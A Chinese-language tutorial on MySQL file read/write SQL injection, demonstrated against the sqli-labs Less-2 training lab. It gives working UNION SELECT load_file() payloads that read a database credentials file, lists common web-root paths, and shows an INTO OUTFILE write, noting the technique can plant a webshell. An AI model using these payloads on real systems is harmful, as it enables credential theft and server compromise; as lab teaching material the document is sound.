1.文件读写注入的原理
就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
2.文件读写注入的条件
高版本的MYSQL添加了一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限,就算是root用户刚开始也不能读取和写入文件,因为该权限没有打开,但root还是可以进入数据库中进行修改
secure_file_priv选项,在linux系统下是保存在etc文件下的my.cnf这个配置文件中,在windows的系统下,mysql中也有个my.ini这个配置文件
linux
cat /etc/my.cnf
[mysqld]
secure_file_priv=
win
my .ini
[mysqld]
secure_file_priv=
1.读写文件需要secure_file_priv权限
secure_file_priv= 代表对文件读写没有限制,可以读写
secure_file_priv=NULL 代表不能进行文件读写
查看mysql全局变量的配置语句如下
show variables like '%secure%';
2.读取文件
使用函数:load_file() 后面的路径可以是单引号,0x(16进制),char转换的字符。(注意路径中斜杠是/不是\),一般可以与union中作为字段使用,查看config.php(即mysql的密码),apache配置....
我们先举个读写例子,我们在D盘创建一个d.txt的文件,然后用读取文件的语句.
select load_file('d:/d.txt');
那在实战中该怎么运用呢,这里还是以sqli-less2作为举例,这里路径以单引号和0x(十六进制)作为举例,即对文件进行读取的语句如下。
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,load_file('d:/d.txt'),3
或
http://localhost/sqli-labs-master/Less-2/?id=-1 union select 1,load_file(0x643a5c642e747874),3
这里要注意的是如果是以单引号直接写的,斜杠是/不是\,是一个反斜杆,和我们正常路径下的斜杠是不同的,但如果是以16进制来当路径的话,是以正确的路径(正斜杠)来转换成16进制的。
在实战中,我们一般都是获取数据库的配置信息或者是mysql的账号,我们都知道mysql有一个配置文件,有一个db,里面有内部用户的信息,如下图,
知道了位置之后,直接用单引号进行查询,查询语句如下
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,load_file(%27D:\\phpstudy_pro\\WWW\\sqli-labs-master\\sql-connections\\db-creds.inc%27),3
网页中看似什么都没有,实际上数据因为页面限制没有显示出来,这时候我们就看看网页源代码,发现,源代码页面就有我们想要的信息,这就是一个高权限查询文件信息的步骤
其实我们读取文件并不能,难的是我们要知道文件的路径,这才是最难的,这边也给大家提供一些可能的路径,因为没有绝对的信息,这都得靠以后的实战经验具体事例具体分析。
windows常见:
Phpstudy phpstudy /www
phpstudy/PHPTutorial/www
Xampp xampp/htdocs
wamp wamp/ www
Appser appser/www
Linux常见:
/var/mysql/data /var/www/html
路径获取的常见方式:报错显示,遗留文件,漏洞报错平台配置文件等
3.写入文件
使用函数:Info Outfile(能写入多行,按格式输出)和 into Dumpfile(只能写入一行且没有输出格式)
注意:outfile后面不能接0x开头或char转换后的路径,只能是单引号路径
我们用下列指令,给d盘中写入d.txt这个文件,内容是1,yr,3,运行之后我们到d盘上去寻找,发现确实有这个文件
http://localhost/sqli-labs-master/Less-2/?id=-1%20union%20select%201,'yr',3 into outfile 'd:/d.txt'